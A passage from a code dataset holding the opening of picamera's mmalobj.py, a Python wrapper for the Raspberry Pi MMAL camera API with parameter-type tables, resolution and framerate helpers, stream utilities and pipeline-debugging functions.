source stringlengths 3 86 | python stringlengths 75 1.04M |
|---|---|
mmalobj.py | # vim: set et sw=4 sts=4 fileencoding=utf-8:
#
# Python header conversion
# Copyright (c) 2013-2017 Dave Jones <dave@waveform.org.uk>
#
# Original headers
# Copyright (c) 2012, Broadcom Europe Ltd
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright
# notice, this list of conditions and the following disclaimer.
# * Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials provided with the distribution.
# * Neither the name of the copyright holder nor the
# names of its contributors may be used to endorse or promote products
# derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
from __future__ import (
unicode_literals,
print_function,
division,
absolute_import,
)
# Make Py2's str equivalent to Py3's
str = type('')
import io
import ctypes as ct
import warnings
import weakref
from threading import Thread, Event
from collections import namedtuple
from fractions import Fraction
from itertools import cycle
from functools import reduce
from operator import mul
from . import bcm_host, mmal
from .streams import BufferIO
from .exc import (
mmal_check,
PiCameraValueError,
PiCameraRuntimeError,
PiCameraMMALError,
PiCameraPortDisabled,
PiCameraDeprecated,
)
# Old firmwares confuse the RGB24 and BGR24 encodings. This flag tracks whether
# the order needs fixing (it is set during MMALCamera.__init__).
FIX_RGB_BGR_ORDER = None
# Mapping of parameters to the C-structure they expect / return. If a parameter
# does not appear in this mapping, it cannot be queried / set with the
# MMALControlPort.params attribute.
PARAM_TYPES = {
mmal.MMAL_PARAMETER_ALGORITHM_CONTROL: mmal.MMAL_PARAMETER_ALGORITHM_CONTROL_T,
mmal.MMAL_PARAMETER_ANNOTATE: None, # adjusted by MMALCamera.annotate_rev
mmal.MMAL_PARAMETER_ANTISHAKE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_AUDIO_LATENCY_TARGET: mmal.MMAL_PARAMETER_AUDIO_LATENCY_TARGET_T,
mmal.MMAL_PARAMETER_AWB_MODE: mmal.MMAL_PARAMETER_AWBMODE_T,
mmal.MMAL_PARAMETER_BRIGHTNESS: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_BUFFER_FLAG_FILTER: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_BUFFER_REQUIREMENTS: mmal.MMAL_PARAMETER_BUFFER_REQUIREMENTS_T,
mmal.MMAL_PARAMETER_CAMERA_BURST_CAPTURE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_CAMERA_CLOCKING_MODE: mmal.MMAL_PARAMETER_CAMERA_CLOCKING_MODE_T,
mmal.MMAL_PARAMETER_CAMERA_CONFIG: mmal.MMAL_PARAMETER_CAMERA_CONFIG_T,
mmal.MMAL_PARAMETER_CAMERA_CUSTOM_SENSOR_CONFIG: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_CAMERA_INFO: None, # adjusted by MMALCameraInfo.info_rev
mmal.MMAL_PARAMETER_CAMERA_INTERFACE: mmal.MMAL_PARAMETER_CAMERA_INTERFACE_T,
mmal.MMAL_PARAMETER_CAMERA_MIN_ISO: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_CAMERA_NUM: mmal.MMAL_PARAMETER_INT32_T,
mmal.MMAL_PARAMETER_CAMERA_RX_CONFIG: mmal.MMAL_PARAMETER_CAMERA_RX_CONFIG_T,
mmal.MMAL_PARAMETER_CAMERA_RX_TIMING: mmal.MMAL_PARAMETER_CAMERA_RX_TIMING_T,
mmal.MMAL_PARAMETER_CAMERA_SETTINGS: mmal.MMAL_PARAMETER_CAMERA_SETTINGS_T,
mmal.MMAL_PARAMETER_CAMERA_USE_CASE: mmal.MMAL_PARAMETER_CAMERA_USE_CASE_T,
mmal.MMAL_PARAMETER_CAPTURE_EXPOSURE_COMP: mmal.MMAL_PARAMETER_INT32_T,
mmal.MMAL_PARAMETER_CAPTURE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_CAPTURE_MODE: mmal.MMAL_PARAMETER_CAPTUREMODE_T,
mmal.MMAL_PARAMETER_CAPTURE_STATS_PASS: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_CAPTURE_STATUS: mmal.MMAL_PARAMETER_CAPTURE_STATUS_T,
mmal.MMAL_PARAMETER_CHANGE_EVENT_REQUEST: mmal.MMAL_PARAMETER_CHANGE_EVENT_REQUEST_T,
mmal.MMAL_PARAMETER_CLOCK_ACTIVE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_CLOCK_DISCONT_THRESHOLD: mmal.MMAL_PARAMETER_CLOCK_DISCONT_THRESHOLD_T,
mmal.MMAL_PARAMETER_CLOCK_ENABLE_BUFFER_INFO: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_CLOCK_FRAME_RATE: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_CLOCK_LATENCY: mmal.MMAL_PARAMETER_CLOCK_LATENCY_T,
mmal.MMAL_PARAMETER_CLOCK_REQUEST_THRESHOLD: mmal.MMAL_PARAMETER_CLOCK_REQUEST_THRESHOLD_T,
mmal.MMAL_PARAMETER_CLOCK_SCALE: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_CLOCK_TIME: mmal.MMAL_PARAMETER_INT64_T,
mmal.MMAL_PARAMETER_CLOCK_UPDATE_THRESHOLD: mmal.MMAL_PARAMETER_CLOCK_UPDATE_THRESHOLD_T,
mmal.MMAL_PARAMETER_COLOUR_EFFECT: mmal.MMAL_PARAMETER_COLOURFX_T,
mmal.MMAL_PARAMETER_CONTRAST: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_CORE_STATISTICS: mmal.MMAL_PARAMETER_CORE_STATISTICS_T,
mmal.MMAL_PARAMETER_CUSTOM_AWB_GAINS: mmal.MMAL_PARAMETER_AWB_GAINS_T,
mmal.MMAL_PARAMETER_DISPLAYREGION: mmal.MMAL_DISPLAYREGION_T,
mmal.MMAL_PARAMETER_DPF_CONFIG: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_DYNAMIC_RANGE_COMPRESSION: mmal.MMAL_PARAMETER_DRC_T,
mmal.MMAL_PARAMETER_ENABLE_RAW_CAPTURE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_EXIF_DISABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_EXIF: mmal.MMAL_PARAMETER_EXIF_T,
mmal.MMAL_PARAMETER_EXP_METERING_MODE: mmal.MMAL_PARAMETER_EXPOSUREMETERINGMODE_T,
mmal.MMAL_PARAMETER_EXPOSURE_COMP: mmal.MMAL_PARAMETER_INT32_T,
mmal.MMAL_PARAMETER_EXPOSURE_MODE: mmal.MMAL_PARAMETER_EXPOSUREMODE_T,
mmal.MMAL_PARAMETER_EXTRA_BUFFERS: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_FIELD_OF_VIEW: mmal.MMAL_PARAMETER_FIELD_OF_VIEW_T,
mmal.MMAL_PARAMETER_FLASH: mmal.MMAL_PARAMETER_FLASH_T,
mmal.MMAL_PARAMETER_FLASH_REQUIRED: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_FLASH_SELECT: mmal.MMAL_PARAMETER_FLASH_SELECT_T,
mmal.MMAL_PARAMETER_FLICKER_AVOID: mmal.MMAL_PARAMETER_FLICKERAVOID_T,
mmal.MMAL_PARAMETER_FOCUS: mmal.MMAL_PARAMETER_FOCUS_T,
mmal.MMAL_PARAMETER_FOCUS_REGIONS: mmal.MMAL_PARAMETER_FOCUS_REGIONS_T,
mmal.MMAL_PARAMETER_FOCUS_STATUS: mmal.MMAL_PARAMETER_FOCUS_STATUS_T,
mmal.MMAL_PARAMETER_FPS_RANGE: mmal.MMAL_PARAMETER_FPS_RANGE_T,
mmal.MMAL_PARAMETER_FRAME_RATE: mmal.MMAL_PARAMETER_RATIONAL_T, # actually mmal.MMAL_PARAMETER_FRAME_RATE_T but this only contains a rational anyway...
mmal.MMAL_PARAMETER_IMAGE_EFFECT: mmal.MMAL_PARAMETER_IMAGEFX_T,
mmal.MMAL_PARAMETER_IMAGE_EFFECT_PARAMETERS: mmal.MMAL_PARAMETER_IMAGEFX_PARAMETERS_T,
mmal.MMAL_PARAMETER_INPUT_CROP: mmal.MMAL_PARAMETER_INPUT_CROP_T,
mmal.MMAL_PARAMETER_INTRAPERIOD: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_ISO: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_JPEG_ATTACH_LOG: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_JPEG_Q_FACTOR: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_JPEG_RESTART_INTERVAL: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_LOCKSTEP_ENABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_LOGGING: mmal.MMAL_PARAMETER_LOGGING_T,
mmal.MMAL_PARAMETER_MB_ROWS_PER_SLICE: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_MEM_USAGE: mmal.MMAL_PARAMETER_MEM_USAGE_T,
mmal.MMAL_PARAMETER_MINIMISE_FRAGMENTATION: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_MIRROR: mmal.MMAL_PARAMETER_UINT32_T, # actually mmal.MMAL_PARAMETER_MIRROR_T but this just contains a uint32
mmal.MMAL_PARAMETER_NALUNITFORMAT: mmal.MMAL_PARAMETER_VIDEO_NALUNITFORMAT_T,
mmal.MMAL_PARAMETER_NO_IMAGE_PADDING: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_POWERMON_ENABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_PRIVACY_INDICATOR: mmal.MMAL_PARAMETER_PRIVACY_INDICATOR_T,
mmal.MMAL_PARAMETER_PROFILE: mmal.MMAL_PARAMETER_VIDEO_PROFILE_T,
mmal.MMAL_PARAMETER_RATECONTROL: mmal.MMAL_PARAMETER_VIDEO_RATECONTROL_T,
mmal.MMAL_PARAMETER_REDEYE: mmal.MMAL_PARAMETER_REDEYE_T,
mmal.MMAL_PARAMETER_ROTATION: mmal.MMAL_PARAMETER_INT32_T,
mmal.MMAL_PARAMETER_SATURATION: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_SEEK: mmal.MMAL_PARAMETER_SEEK_T,
mmal.MMAL_PARAMETER_SENSOR_INFORMATION: mmal.MMAL_PARAMETER_SENSOR_INFORMATION_T,
mmal.MMAL_PARAMETER_SHARPNESS: mmal.MMAL_PARAMETER_RATIONAL_T,
mmal.MMAL_PARAMETER_SHUTTER_SPEED: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_STATISTICS: mmal.MMAL_PARAMETER_STATISTICS_T,
mmal.MMAL_PARAMETER_STEREOSCOPIC_MODE: mmal.MMAL_PARAMETER_STEREOSCOPIC_MODE_T,
mmal.MMAL_PARAMETER_STILLS_DENOISE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_SUPPORTED_ENCODINGS: mmal.MMAL_PARAMETER_ENCODING_T,
mmal.MMAL_PARAMETER_SUPPORTED_PROFILES: mmal.MMAL_PARAMETER_VIDEO_PROFILE_T,
mmal.MMAL_PARAMETER_SW_SATURATION_DISABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_SW_SHARPEN_DISABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_SYSTEM_TIME: mmal.MMAL_PARAMETER_UINT64_T,
mmal.MMAL_PARAMETER_THUMBNAIL_CONFIGURATION: mmal.MMAL_PARAMETER_THUMBNAIL_CONFIG_T,
mmal.MMAL_PARAMETER_URI: mmal.MMAL_PARAMETER_URI_T,
mmal.MMAL_PARAMETER_USE_STC: mmal.MMAL_PARAMETER_CAMERA_STC_MODE_T,
mmal.MMAL_PARAMETER_VIDEO_ALIGN_HORIZ: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ALIGN_VERT: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_BIT_RATE: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_DENOISE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_DROPPABLE_PFRAMES: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_EEDE_ENABLE: mmal.MMAL_PARAMETER_VIDEO_EEDE_ENABLE_T,
mmal.MMAL_PARAMETER_VIDEO_EEDE_LOSSRATE: mmal.MMAL_PARAMETER_VIDEO_EEDE_LOSSRATE_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_FRAME_LIMIT_BITS: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_INITIAL_QUANT: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_INLINE_HEADER: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_INLINE_VECTORS: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_MAX_QUANT: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_MIN_QUANT: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_PEAK_RATE: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_QP_P: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_RC_MODEL: mmal.MMAL_PARAMETER_VIDEO_ENCODE_RC_MODEL_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_RC_SLICE_DQUANT: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_SEI_ENABLE: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_ENCODE_SPS_TIMING: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_FRAME_RATE: mmal.MMAL_PARAMETER_RATIONAL_T, # actually mmal.MMAL_PARAMETER_FRAME_RATE_T but this only contains a rational anyway...
mmal.MMAL_PARAMETER_VIDEO_IMMUTABLE_INPUT: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_INTERLACE_TYPE: mmal.MMAL_PARAMETER_VIDEO_INTERLACE_TYPE_T,
mmal.MMAL_PARAMETER_VIDEO_INTERPOLATE_TIMESTAMPS: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_INTRA_REFRESH: mmal.MMAL_PARAMETER_VIDEO_INTRA_REFRESH_T,
mmal.MMAL_PARAMETER_VIDEO_LEVEL_EXTENSION: mmal.MMAL_PARAMETER_VIDEO_LEVEL_EXTENSION_T,
mmal.MMAL_PARAMETER_VIDEO_MAX_NUM_CALLBACKS: mmal.MMAL_PARAMETER_UINT32_T,
mmal.MMAL_PARAMETER_VIDEO_RENDER_STATS: mmal.MMAL_PARAMETER_VIDEO_RENDER_STATS_T,
mmal.MMAL_PARAMETER_VIDEO_REQUEST_I_FRAME: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_VIDEO_STABILISATION: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_ZERO_COPY: mmal.MMAL_PARAMETER_BOOLEAN_T,
mmal.MMAL_PARAMETER_ZERO_SHUTTER_LAG: mmal.MMAL_PARAMETER_ZEROSHUTTERLAG_T,
mmal.MMAL_PARAMETER_ZOOM: mmal.MMAL_PARAMETER_SCALEFACTOR_T,
}
class PiCameraFraction(Fraction):
"""
Extends :class:`~fractions.Fraction` to act as a (numerator, denominator)
tuple when required.
"""
def __len__(self):
warnings.warn(
PiCameraDeprecated(
'Accessing framerate as a tuple is deprecated; this value is '
'now a Fraction, so you can query the numerator and '
'denominator properties directly, convert to an int or float, '
'or perform arithmetic operations and comparisons directly'))
return 2
def __getitem__(self, index):
warnings.warn(
PiCameraDeprecated(
'Accessing framerate as a tuple is deprecated; this value is '
'now a Fraction, so you can query the numerator and '
'denominator properties directly, convert to an int or float, '
'or perform arithmetic operations and comparisons directly'))
if index == 0:
return self.numerator
elif index == 1:
return self.denominator
else:
raise IndexError('invalid index %d' % index)
def __contains__(self, value):
return value in (self.numerator, self.denominator)
class PiResolution(namedtuple('PiResolution', ('width', 'height'))):
"""
A :func:`~collections.namedtuple` derivative which represents a resolution
with a :attr:`width` and :attr:`height`.
.. attribute:: width
The width of the resolution in pixels
.. attribute:: height
The height of the resolution in pixels
.. versionadded:: 1.11
"""
__slots__ = () # workaround python issue #24931
def pad(self, width=32, height=16):
"""
Returns the resolution padded up to the nearest multiple of *width*
and *height* which default to 32 and 16 respectively (the camera's
native block size for most operations). For example:
.. code-block:: pycon
>>> PiResolution(1920, 1080).pad()
PiResolution(width=1920, height=1088)
>>> PiResolution(100, 100).pad(16, 16)
PiResolution(width=128, height=112)
>>> PiResolution(100, 100).pad(16, 16)
PiResolution(width=112, height=112)
"""
return PiResolution(
width=((self.width + (width - 1)) // width) * width,
height=((self.height + (height - 1)) // height) * height,
)
def transpose(self):
"""
Returns the resolution with the width and height transposed. For
example:
.. code-block:: pycon
>>> PiResolution(1920, 1080).transpose()
PiResolution(width=1080, height=1920)
"""
return PiResolution(self.height, self.width)
def __str__(self):
return '%dx%d' % (self.width, self.height)
class PiFramerateRange(namedtuple('PiFramerateRange', ('low', 'high'))):
"""
This class is a :func:`~collections.namedtuple` derivative used to store
the low and high limits of a range of framerates. It is recommended that
you access the information stored by this class by attribute rather than
position (for example: ``camera.framerate_range.low`` rather than
``camera.framerate_range[0]``).
.. attribute:: low
The lowest framerate that the camera is permitted to use (inclusive).
When the :attr:`~picamera.PiCamera.framerate_range` attribute is
queried, this value will always be returned as a
:class:`~fractions.Fraction`.
.. attribute:: high
The highest framerate that the camera is permitted to use (inclusive).
When the :attr:`~picamera.PiCamera.framerate_range` attribute is
queried, this value will always be returned as a
:class:`~fractions.Fraction`.
.. versionadded:: 1.13
"""
__slots__ = () # workaround python issue #24931
def __new__(cls, low, high):
return super(PiFramerateRange, cls).__new__(cls, to_fraction(low),
to_fraction(high))
def __str__(self):
return '%s..%s' % (self.low, self.high)
class PiSensorMode(namedtuple('PiSensorMode', ('resolution', 'framerates',
'video', 'still', 'full_fov'))):
"""
This class is a :func:`~collections.namedtuple` derivative used to store
the attributes describing a camera sensor mode.
.. attribute:: resolution
A :class:`PiResolution` specifying the size of frames output by the
camera in this mode.
.. attribute:: framerates
A :class:`PiFramerateRange` specifying the minimum and maximum
framerates supported by this sensor mode. Typically the low value is
exclusive and high value inclusive.
.. attribute:: video
A :class:`bool` indicating whether or not the mode is capable of
recording video. Currently this is always ``True``.
.. attribute:: still
A :class:`bool` indicating whether the mode can be used for still
captures (cases where a capture method is called with
``use_video_port`` set to ``False``).
.. attribute:: full_fov
A :class:`bool` indicating whether the full width of the sensor
area is used to capture frames. This can be ``True`` even when the
resolution is less than the camera's maximum resolution due to binning
and skipping. See :ref:`camera_modes` for a diagram of the available
fields of view.
"""
__slots__ = () # workaround python issue #24931
def __new__(cls, resolution, framerates, video=True, still=False,
full_fov=True):
return super(PiSensorMode, cls).__new__(
cls,
resolution
if isinstance(resolution, PiResolution) else
to_resolution(resolution),
framerates
if isinstance(framerates, PiFramerateRange) else
PiFramerateRange(*framerates),
video, still, full_fov)
def open_stream(stream, output=True, buffering=65536):
"""
This is the core of picamera's IO-semantics. It returns a tuple of a
file-like object and a bool indicating whether the stream requires closing
once the caller is finished with it.
* If *stream* is a string, it is opened as a file object (with mode 'wb' if
*output* is ``True``, and the specified amount of *bufffering*). In this
case the function returns ``(stream, True)``.
* If *stream* is a stream with a ``write`` method, it is returned as
``(stream, False)``.
* Otherwise *stream* is assumed to be a writeable buffer and is wrapped
with :class:`BufferIO`. The function returns ``(stream, True)``.
"""
if isinstance(stream, bytes):
stream = stream.decode('ascii')
opened = isinstance(stream, str)
if opened:
stream = io.open(stream, 'wb' if output else 'rb', buffering)
else:
try:
if output:
stream.write
else:
stream.read
except AttributeError:
# Assume the stream is actually a buffer
opened = True
stream = BufferIO(stream)
if output and not stream.writable:
raise IOError('writeable buffer required for output')
return (stream, opened)
def close_stream(stream, opened):
"""
If *opened* is ``True``, then the ``close`` method of *stream* will be
called. Otherwise, the function will attempt to call the ``flush`` method
on *stream* (if one exists). This function essentially takes the output
of :func:`open_stream` and finalizes the result.
"""
if opened:
stream.close()
else:
try:
stream.flush()
except AttributeError:
pass
def to_resolution(value):
"""
Converts *value* which may be a (width, height) tuple or a string
containing a representation of a resolution (e.g. "1024x768" or "1080p") to
a (width, height) tuple.
"""
if isinstance(value, bytes):
value = value.decode('utf-8')
if isinstance(value, str):
try:
# A selection from https://en.wikipedia.org/wiki/Graphics_display_resolution
# Feel free to suggest additions
w, h = {
'VGA': (640, 480),
'SVGA': (800, 600),
'XGA': (1024, 768),
'SXGA': (1280, 1024),
'UXGA': (1600, 1200),
'HD': (1280, 720),
'FHD': (1920, 1080),
'1080P': (1920, 1080),
'720P': (1280, 720),
}[value.strip().upper()]
except KeyError:
w, h = (int(i.strip()) for i in value.upper().split('X', 1))
else:
try:
w, h = value
except (TypeError, ValueError):
raise PiCameraValueError("Invalid resolution tuple: %r" % value)
return PiResolution(w, h)
def to_fraction(value, den_limit=65536):
"""
Converts *value*, which can be any numeric type, an MMAL_RATIONAL_T, or a
(numerator, denominator) tuple to a :class:`~fractions.Fraction` limiting
the denominator to the range 0 < n <= *den_limit* (which defaults to
65536).
"""
try:
# int, long, or fraction
n, d = value.numerator, value.denominator
except AttributeError:
try:
# float
n, d = value.as_integer_ratio()
except AttributeError:
try:
n, d = value.num, value.den
except AttributeError:
try:
# tuple
n, d = value
warnings.warn(
PiCameraDeprecated(
"Setting framerate or gains as a tuple is "
"deprecated; please use one of Python's many "
"numeric classes like int, float, Decimal, or "
"Fraction instead"))
except (TypeError, ValueError):
# try and convert anything else to a Fraction directly
value = Fraction(value)
n, d = value.numerator, value.denominator
# Ensure denominator is reasonable
if d == 0:
raise PiCameraValueError("Denominator cannot be 0")
elif d > den_limit:
return Fraction(n, d).limit_denominator(den_limit)
else:
return Fraction(n, d)
def to_rational(value):
"""
Converts *value* (which can be anything accepted by :func:`to_fraction`) to
an MMAL_RATIONAL_T structure.
"""
value = to_fraction(value)
return mmal.MMAL_RATIONAL_T(value.numerator, value.denominator)
def buffer_bytes(buf):
"""
Given an object which implements the :ref:`buffer protocol
<bufferobjects>`, this function returns the size of the object in bytes.
The object can be multi-dimensional or include items larger than byte-size.
"""
if not isinstance(buf, memoryview):
buf = memoryview(buf)
return buf.itemsize * reduce(mul, buf.shape)
def debug_pipeline(port):
"""
Given an :class:`MMALVideoPort` *port*, this traces all objects in the
pipeline feeding it (including components and connections) and yields each
object in turn. Hence the generator typically yields something like:
* :class:`MMALVideoPort` (the specified output port)
* :class:`MMALEncoder` (the encoder which owns the output port)
* :class:`MMALVideoPort` (the encoder's input port)
* :class:`MMALConnection` (the connection between the splitter and encoder)
* :class:`MMALVideoPort` (the splitter's output port)
* :class:`MMALSplitter` (the splitter on the camera's video port)
* :class:`MMALVideoPort` (the splitter's input port)
* :class:`MMALConnection` (the connection between the splitter and camera)
* :class:`MMALVideoPort` (the camera's video port)
* :class:`MMALCamera` (the camera component)
"""
def find_port(addr):
for obj in MMALObject.REGISTRY:
if isinstance(obj, MMALControlPort):
if ct.addressof(obj._port[0]) == addr:
return obj
raise IndexError('unable to locate port with address %x' % addr)
def find_component(addr):
for obj in MMALObject.REGISTRY:
if isinstance(obj, MMALBaseComponent) and obj._component is not None:
if ct.addressof(obj._component[0]) == addr:
return obj
raise IndexError('unable to locate component with address %x' % addr)
assert isinstance(port, (MMALControlPort, MMALPythonPort))
while True:
if port.type == mmal.MMAL_PORT_TYPE_OUTPUT:
yield port
if isinstance(port, MMALPythonPort):
comp = port._owner()
else:
comp = find_component(ct.addressof(port._port[0].component[0]))
yield comp
if not isinstance(comp, (MMALComponent, MMALPythonComponent)):
break
if comp.connection is None:
break
if isinstance(comp.connection, MMALPythonConnection):
port = comp.connection._target
else:
port = find_port(ct.addressof(comp.connection._connection[0].in_[0]))
yield port
yield comp.connection
if isinstance(comp.connection, MMALPythonConnection):
port = comp.connection._source
else:
port = find_port(ct.addressof(comp.connection._connection[0].out[0]))
def print_pipeline(port):
"""
Prints a human readable representation of the pipeline feeding the
specified :class:`MMALVideoPort` *port*.
"""
rows = [[], [], [], [], []]
under_comp = False
for obj in reversed(list(debug_pipeline(port))):
if isinstance(obj, (MMALBaseComponent, MMALPythonBaseComponent)):
rows[0].append(obj.name)
under_comp = True
elif isinstance(obj, MMALVideoPort):
rows[0].append('[%d]' % obj._port[0].index)
if under_comp:
rows[1].append('encoding')
if obj.format == mmal.MMAL_ENCODING_OPAQUE:
rows[1].append(obj.opaque_subformat)
else:
rows[1].append(mmal.FOURCC_str(obj._port[0].format[0].encoding))
if under_comp:
rows[2].append('buf')
rows[2].append('%dx%d' % (obj._port[0].buffer_num, obj._port[0].buffer_size))
if under_comp:
rows[3].append('bitrate')
rows[3].append('%dbps' % (obj._port[0].format[0].bitrate,))
if under_comp:
rows[4].append('frame')
under_comp = False
rows[4].append('%dx%d@%sfps' % (
obj._port[0].format[0].es[0].video.width,
obj._port[0].format[0].es[0].video.height,
obj.framerate))
elif isinstance(obj, MMALPythonPort):
rows[0].append('[%d]' % obj._index)
if under_comp:
rows[1].append('encoding')
if obj.format == mmal.MMAL_ENCODING_OPAQUE:
rows[1].append(obj.opaque_subformat)
else:
rows[1].append(mmal.FOURCC_str(obj._format[0].encoding))
if under_comp:
rows[2].append('buf')
rows[2].append('%dx%d' % (obj.buffer_count, obj.buffer_size))
if under_comp:
rows[3].append('bitrate')
rows[3].append('%dbps' % (obj._format[0].bitrate,))
if under_comp:
rows[4].append('frame')
under_comp = False
rows[4].append('%dx%d@%sfps' % (
obj._format[0].es[0].video.width,
obj._format[0].es[0].video.height,
obj.framerate))
elif isinstance(obj, (MMALConnection, MMALPythonConnection)):
rows[0].append('')
rows[1].append('')
rows[2].append('-->')
rows[3].append('')
rows[4].append('')
if under_comp:
rows[1].append('encoding')
rows[2].append('buf')
rows[3].append('bitrate')
rows[4].append('frame')
cols = list(zip(*rows))
max_lens = [max(len(s) for s in col) + 2 for col in cols]
rows = [
''.join('{0:{align}{width}s}'.format(s, align=align, width=max_len)
for s, max_len, align in zip(row, max_lens, cycle('^<^>')))
for row in rows
]
for row in rows:
print(row)
class MMALObject(object):
"""
Represents an object wrapper around an MMAL object (component, port,
connection, etc). This base class maintains a registry of all MMAL objects
currently alive (via weakrefs) which permits object lookup by name and
listing all used MMAL objects.
"""
__slots__ = ('__weakref__',)
REGISTRY = weakref.WeakSet()
def __init__(self):
super(MMALObject, self).__init__()
MMALObject.REGISTRY.add(self)
class MMALBaseComponent(MMALObject):
"""
Represents a generic MMAL component. Class attributes are read to determine
the component type, and the OPAQUE sub-formats of each connectable port.
"""
__slots__ = ('_component', '_control', '_inputs', '_outputs')
component_type = b'none'
opaque_input_subformats = ()
opaque_output_subformats = ()
def __init__(self):
super(MMALBaseComponent, self).__init__()
self._component = ct.POINTER(mmal.MMAL_COMPONENT_T)()
mmal_check(
mmal.mmal_component_create(self.component_type, self._component),
prefix="Failed to create MMAL component %s" % self.component_type)
if self._component[0].input_num != len(self.opaque_input_subformats):
raise PiCameraRuntimeError(
'Expected %d inputs but found %d on component %s' % (
len(self.opaque_input_subformats),
self._component[0].input_num,
self.component_type))
if self._component[0].output_num != len(self.opaque_output_subformats):
raise PiCameraRuntimeError(
'Expected %d outputs but found %d on component %s' % (
